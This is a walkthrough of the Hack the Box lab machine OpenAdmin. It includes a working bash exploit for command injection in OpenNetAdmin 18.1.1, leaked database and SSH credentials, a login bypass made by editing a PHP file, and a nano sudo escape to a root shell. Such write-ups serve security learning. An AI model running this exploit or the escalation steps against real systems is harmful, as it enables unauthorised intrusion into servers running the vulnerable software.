OpenAdmin - Hack the Box - Writeup

A writeup for the machine OpenAdmin from hackthebox.eu. Difficulty = Easy

Date and Time of last update Wed 28 Oct 2020
  


We start 2020 with a relatively easy machine named OpenAdmin. It is a really nice machine as it involves many small things that are pretty straightforward. The initial foothold is based on a CVE while the two users that it involves require to do some deep enumeration. The root user is very easy to get so all the fun is getting the users.


Initial Enumeration & Foothold

We start as usual firing up Nmap and running it against our target.

#  nmap -A 10.10.10.171
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 4b:98:df:85:d1:7e:f0:3d:da:48:cd:bc:92:00:b7:54 (RSA)
|   256 dc:eb:3d:c9:44:d1:18:b1:22:b4:cf:de:bd:6c:7a:54 (ECDSA)
|_  256 dc:ad:ca:3c:11:31:5b:6f:e6:a4:89:34:7c:9b:e5:50 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We discover two common services running, inviting us to investigate further. By visiting with a browser the IP of the machine we are greeted by the default Apache2 page. Next thing in mind is to do some directory busting in case we find something interesting.

For this kind of work I like GoBuster. Executing the following command two paths are revealed. The one ending in music and the other in artwork.

gobuster dir -u http://10.10.10.171/ -e -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -k -t 200 -x php,txt,html,htm -

We stop gobuster after finding these two paths as our answer might already be there so there is no need to stress the server further. Exploring the 10.10.10.171/music path we discover another interesting path, 10.10.10.171/ona. We quickly realize it is some kind of admin panel and by the context we see it is the opennetadmin.com panel and specifically the version 18.1.1.

Doing a quick google search we see that this version is vulnerable and it allows RCE. We use the following code to have command execution on the machine.

#!/bin/bash

URL="${1}"
while true;do
 echo -n "$ "; read cmd
 curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";${cmd};echo \"END\"&xajaxargs[]=ping" "${URL}" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1
done

Saving this script as rce.sh, we invoke it like ./rce.sh http://10.10.10.171/ona/. Now we have command execution on the machine as user www-data. As the next step is not particularly demanding we do not require a better shell so we will stick with the command execution we already have. I trust though that if you would like to have an interactive shell you would know how to do it since you can execute commands on the machine.

Getting User1

This step basically requires to do some enumeration. The path we are dropped from the RCE is /opt/ona/www and by looking around we see a directory named local. We are supposedly on production so local files should not be there. Sniffing around we spot local/config/database_settings.inc.php, which if we open we have the following:

<?php
$ona_contexts=array (
  'DEFAULT' =>
  array (
    'databases' =>
    array (
      0 =>
      array (
        'db_type' => 'mysqli',
        'db_host' => 'localhost',
        'db_login' => 'ona_sys',
        'db_passwd' => 'n1nj4W4rri0R!',
        'db_database' => 'ona_default',
        'db_debug' => false,
      ),
    ),
    'description' => 'Default data context',
    'context_color' => '#D3DBFF',
  ),
);

A pretty interesting finding we have there. First things first, we have a password here, and humans tend to be creatures of habit so lets check if any of the users under the /home directory could be reusing this password for their account. We see two users under /home, jimmy and joanna. If we try to ssh as jimmy into the machine to our surprise (or not) we are in!

Getting User2

Now we have an ssh session with user jimmy and can enumerate further. One interesting thing we find is a directory named internal which contains a main.php file that if visited it prints out the ssh key of the second user. Really interesting but how do we visit this?

Well lets inspect what ports are on LISTEN state on the machine, by executing netstat -pltn.

jimmy@openadmin:/var/www/internal$ netstat -pltn
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:52846         0.0.0.0:*               LISTEN      -
tcp6       0      0 :::22                   :::*                    LISTEN      -
tcp6       0      0 :::80                   :::*                    LISTEN      -

On the ninth line we see the machine is listening locally on port 52846. Well there are two ways to move forward from here, the first is to use an SSH tunnel to port forward while the other is to simply make a request to the main.php file from our ssh session.

But before moving forward lets check something else as well in the internal directory. If we inspect index.php we see the following code:

<?php
  $msg = '';

  if (isset($_POST['login']) && !empty($_POST['username']) && !empty($_POST['password'])) {
    if ($_POST['username'] == 'jimmy' && hash('sha512',$_POST['password']) == '00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1') {
        $_SESSION['username'] = 'jimmy';
        header("Location: /main.php");
    } else {
        $msg = 'Wrong username or password.';
    }
  }
?>

This means that we need to post the correct credentials in order to create a session. We know the username need to be jimmy and we have the hash of the password. It is time for cracking then .... or on second thought NO! We have write access to the file, so how about adjust it so we can create the session anyway. To do that we simply change the php contents of the index.php to be the following:

<?php
  $msg = '';

  if (isset($_POST['login']) && !empty($_POST['username']) && !empty($_POST['password'])) {
    if ($_POST['username'] == 'jimmy' && hash('sha512',$_POST['password']) == '00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1') {
        $_SESSION['username'] = 'jimmy';
        header("Location: /main.php");
    } else {
        $_SESSION['username'] = 'jimmy';
        header("Location: /main.php");
    }
  }
?>

So now when supplying any username and password we have the session created.

On the other hand if you would like to crack it, simply fire up John and the process is rather trivial so I am going to skip it. If you cracked it correctly you should find as password the word Revealed.

Now that we have the credentials lets continue to making the request to the main.php file. Using the SSH tunnel way we simply execute ssh -L 1234:localhost:52846 [email protected], this would allow us to visit the internal page simply by visiting localhost:1234 on our own machine. The result is the following

openadmin_internal_login.png

Login in using any credentials reveals us the ssh key of joanna as shown also below

openadmin_key.png

Alternatively, you could simply use curl to submit a request which is also a solution I prefer as it is simpler. The following picture shows the response we get from the server when we use curl.

openadmin_curl_key.png

Final step to get access as the user2(joanna) is to crack the ssh key we now have. In order to do that we use John and the rockyou wordlist, for a tutorial on how to do it see here. As shown below we quickly crack the key and we find the password to be bloodninjas. We are are now free to use the key and ssh to the machine as joanna and at last get our user.txt.

openadmin_joana_sshKey_cracked.png



Getting Root

In order to get root, things are relatively simple. As usual we check if we have something interesting in sudo, by executing sudo -l. This reveals

joanna@openadmin:~$ sudo -l
Matching Defaults entries for joanna on openadmin:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User joanna may run the following commands on openadmin:
    (ALL) NOPASSWD: /bin/nano /opt/priv

We are free to run nano with sudo privileges. That is more than enough and if we visit our friend GTFObins, we track down easily how to get a shell from there. First we ctrl+r then ctrl+x and now we execute reset; sh 1>&0 2>&0. We are now in a root shell and we are free to capture the root flag as well.

FLAGS

user=c9b2cf0[...]81b5f
root=2f907ed[...]795d5b561